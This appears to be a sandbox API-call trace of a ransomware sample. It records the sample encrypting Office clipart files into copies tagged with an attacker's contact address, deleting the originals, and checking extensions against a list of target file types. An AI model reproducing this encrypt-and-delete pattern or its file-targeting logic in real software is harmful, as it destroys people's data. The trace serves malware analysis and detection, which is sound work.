	[0269.893] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0269.893] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099163.wmf")) returned 1
	[0269.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF") returned 63
	[0269.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF") returned 63
	[0269.893] lstrlenW (lpString=".doc") returned 4
	[0269.893] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0269.893] lstrlenW (lpString=".docx") returned 5
	[0269.893] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0269.893] lstrlenW (lpString=".pdf") returned 4
	[0269.893] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0269.894] lstrlenW (lpString=".xls") returned 4
	[0269.894] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0269.894] lstrlenW (lpString=".xlsx") returned 5
	[0269.894] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0269.894] lstrlenW (lpString=".ppt") returned 4
	[0269.894] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0269.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF") returned 63
	[0269.894] lstrlenW (lpString=".zip") returned 4
	[0269.894] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0269.894] lstrlenW (lpString=".rar") returned 4
	[0269.894] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0269.894] lstrlenW (lpString=".bz2") returned 4
	[0269.894] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0269.894] lstrlenW (lpString=".7z") returned 3
	[0269.894] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0269.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF") returned 63
	[0269.894] lstrlenW (lpString=".dbf") returned 4
	[0269.894] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0269.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF") returned 63
	[0269.894] lstrlenW (lpString=".1cd") returned 4
	[0269.894] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0269.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF") returned 63
	[0269.894] lstrlenW (lpString=".jpg") returned 4
	[0269.894] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0269.895] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=50490) returned 1
	[0269.895] CloseHandle (hObject=0x360) returned 1
	[0269.895] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099165.jpg")) returned 0x20
	[0269.895] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099165.jpg.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0269.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099165.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0269.895] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.895] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099165.jpg.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0269.896] GetLastError () returned 0x0
	[0269.896] ReadFile (in: hFile=0x360, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0xc53a, lpOverlapped=0x0) returned 1
	[0269.898] WriteFile (in: hFile=0x32c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xc540, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xc540, lpOverlapped=0x0) returned 1
	[0269.900] ReadFile (in: hFile=0x360, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0269.900] WriteFile (in: hFile=0x32c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0269.900] SetEndOfFile (hFile=0x32c) returned 1
	[0269.900] CloseHandle (hObject=0x32c) returned 1
	[0269.900] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.900] SetEndOfFile (hFile=0x360) returned 1
	[0269.903] CloseHandle (hObject=0x360) returned 1
	[0269.903] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0269.903] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099165.jpg")) returned 1
	[0269.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG") returned 63
	[0269.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG") returned 63
	[0269.903] lstrlenW (lpString=".doc") returned 4
	[0269.903] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0269.903] lstrlenW (lpString=".docx") returned 5
	[0269.903] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1
	[0269.903] lstrlenW (lpString=".pdf") returned 4
	[0269.903] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0269.903] lstrlenW (lpString=".xls") returned 4
	[0269.903] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0269.904] lstrlenW (lpString=".xlsx") returned 5
	[0269.904] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1
	[0269.904] lstrlenW (lpString=".ppt") returned 4
	[0269.904] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0269.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG") returned 63
	[0269.904] lstrlenW (lpString=".zip") returned 4
	[0269.904] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0269.904] lstrlenW (lpString=".rar") returned 4
	[0269.904] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0269.904] lstrlenW (lpString=".bz2") returned 4
	[0269.904] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0269.904] lstrlenW (lpString=".7z") returned 3
	[0269.904] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0269.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG") returned 63
	[0269.904] lstrlenW (lpString=".dbf") returned 4
	[0269.904] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0269.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG") returned 63
	[0269.904] lstrlenW (lpString=".1cd") returned 4
	[0269.904] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0269.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG") returned 63
	[0269.904] lstrlenW (lpString=".jpg") returned 4
	[0269.904] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0270.887] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=64767) returned 1
	[0270.887] CloseHandle (hObject=0x390) returned 1
	[0270.887] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099166.jpg")) returned 0x20
	[0270.888] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099166.jpg.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0270.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099166.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0270.889] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0270.889] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0270.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099166.jpg.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0270.889] GetLastError () returned 0x0
	[0270.889] ReadFile (in: hFile=0x35c, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0xfcff, lpOverlapped=0x0) returned 1
	[0270.897] WriteFile (in: hFile=0x390, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xfd00, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xfd00, lpOverlapped=0x0) returned 1
	[0270.899] ReadFile (in: hFile=0x35c, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0270.899] WriteFile (in: hFile=0x390, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0270.899] SetEndOfFile (hFile=0x390) returned 1
	[0271.341] CloseHandle (hObject=0x390) returned 1
	[0271.341] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.341] SetEndOfFile (hFile=0x35c) returned 1
	[0271.344] CloseHandle (hObject=0x35c) returned 1
	[0271.344] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0271.530] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099166.jpg")) returned 1
	[0271.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG") returned 63
	[0271.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG") returned 63
	[0271.536] lstrlenW (lpString=".doc") returned 4
	[0271.536] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0271.536] lstrlenW (lpString=".docx") returned 5
	[0271.536] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1
	[0271.536] lstrlenW (lpString=".pdf") returned 4
	[0271.536] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0271.536] lstrlenW (lpString=".xls") returned 4
	[0271.536] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0271.536] lstrlenW (lpString=".xlsx") returned 5
	[0271.536] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1
	[0271.536] lstrlenW (lpString=".ppt") returned 4
	[0271.536] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0271.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG") returned 63
	[0271.536] lstrlenW (lpString=".zip") returned 4
	[0271.536] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0271.536] lstrlenW (lpString=".rar") returned 4
	[0271.536] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0271.536] lstrlenW (lpString=".bz2") returned 4
	[0271.536] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0271.536] lstrlenW (lpString=".7z") returned 3
	[0271.536] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0271.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG") returned 63
	[0271.536] lstrlenW (lpString=".dbf") returned 4
	[0271.536] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0271.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG") returned 63
	[0271.536] lstrlenW (lpString=".1cd") returned 4
	[0271.536] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0271.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG") returned 63
	[0271.537] lstrlenW (lpString=".jpg") returned 4
	[0271.537] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0271.539] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=3282) returned 1
	[0271.539] CloseHandle (hObject=0x360) returned 1
	[0271.539] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg")) returned 0x20
	[0271.544] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0271.544] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0271.544] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.544] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.544] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0271.545] GetLastError () returned 0x0
	[0271.545] ReadFile (in: hFile=0x358, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0xcd2, lpOverlapped=0x0) returned 1
	[0271.564] WriteFile (in: hFile=0x334, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xce0, lpOverlapped=0x0) returned 1
	[0271.564] ReadFile (in: hFile=0x358, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0271.564] WriteFile (in: hFile=0x334, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0271.564] SetEndOfFile (hFile=0x334) returned 1
	[0271.565] CloseHandle (hObject=0x334) returned 1
	[0271.565] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.565] SetEndOfFile (hFile=0x358) returned 1
	[0271.567] CloseHandle (hObject=0x358) returned 1
	[0271.567] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0271.567] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg")) returned 1
	[0271.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG") returned 63
	[0271.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG") returned 63
	[0271.567] lstrlenW (lpString=".doc") returned 4
	[0271.567] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0271.567] lstrlenW (lpString=".docx") returned 5
	[0271.567] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1
	[0271.567] lstrlenW (lpString=".pdf") returned 4
	[0271.568] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0271.568] lstrlenW (lpString=".xls") returned 4
	[0271.568] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0271.568] lstrlenW (lpString=".xlsx") returned 5
	[0271.568] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1
	[0271.568] lstrlenW (lpString=".ppt") returned 4
	[0271.568] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0271.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG") returned 63
	[0271.568] lstrlenW (lpString=".zip") returned 4
	[0271.568] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0271.568] lstrlenW (lpString=".rar") returned 4
	[0271.568] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0271.568] lstrlenW (lpString=".bz2") returned 4
	[0271.568] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0271.568] lstrlenW (lpString=".7z") returned 3
	[0271.568] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0271.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG") returned 63
	[0271.568] lstrlenW (lpString=".dbf") returned 4
	[0271.568] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0271.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG") returned 63
	[0271.568] lstrlenW (lpString=".1cd") returned 4
	[0271.568] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0271.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG") returned 63
	[0271.568] lstrlenW (lpString=".jpg") returned 4
	[0271.568] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0271.593] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=8076) returned 1
	[0271.593] CloseHandle (hObject=0x35c) returned 1
	[0271.593] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg")) returned 0x20
	[0271.597] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0271.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0271.597] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.597] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0271.597] GetLastError () returned 0x0
	[0271.597] ReadFile (in: hFile=0x36c, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x1f8c, lpOverlapped=0x0) returned 1
	[0271.599] WriteFile (in: hFile=0x35c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x1f90, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x1f90, lpOverlapped=0x0) returned 1
	[0271.605] ReadFile (in: hFile=0x36c, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0271.605] WriteFile (in: hFile=0x35c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0271.606] SetEndOfFile (hFile=0x35c) returned 1
	[0271.606] CloseHandle (hObject=0x35c) returned 1
	[0271.606] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.606] SetEndOfFile (hFile=0x36c) returned 1
	[0271.608] CloseHandle (hObject=0x36c) returned 1
	[0271.608] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0271.608] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg")) returned 1
	[0271.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG") returned 63
	[0271.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG") returned 63
	[0271.608] lstrlenW (lpString=".doc") returned 4
	[0271.608] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0271.608] lstrlenW (lpString=".docx") returned 5
	[0271.608] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1
	[0271.608] lstrlenW (lpString=".pdf") returned 4
	[0271.608] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0271.608] lstrlenW (lpString=".xls") returned 4
	[0271.609] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0271.609] lstrlenW (lpString=".xlsx") returned 5
	[0271.609] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1
	[0271.609] lstrlenW (lpString=".ppt") returned 4
	[0271.609] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0271.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG") returned 63
	[0271.609] lstrlenW (lpString=".zip") returned 4
	[0271.609] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0271.609] lstrlenW (lpString=".rar") returned 4
	[0271.609] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0271.609] lstrlenW (lpString=".bz2") returned 4
	[0271.609] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0271.609] lstrlenW (lpString=".7z") returned 3
	[0271.609] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0271.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG") returned 63
	[0271.609] lstrlenW (lpString=".dbf") returned 4
	[0271.609] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0271.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG") returned 63
	[0271.609] lstrlenW (lpString=".1cd") returned 4
	[0271.609] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0271.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG") returned 63
	[0271.609] lstrlenW (lpString=".jpg") returned 4
	[0271.609] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
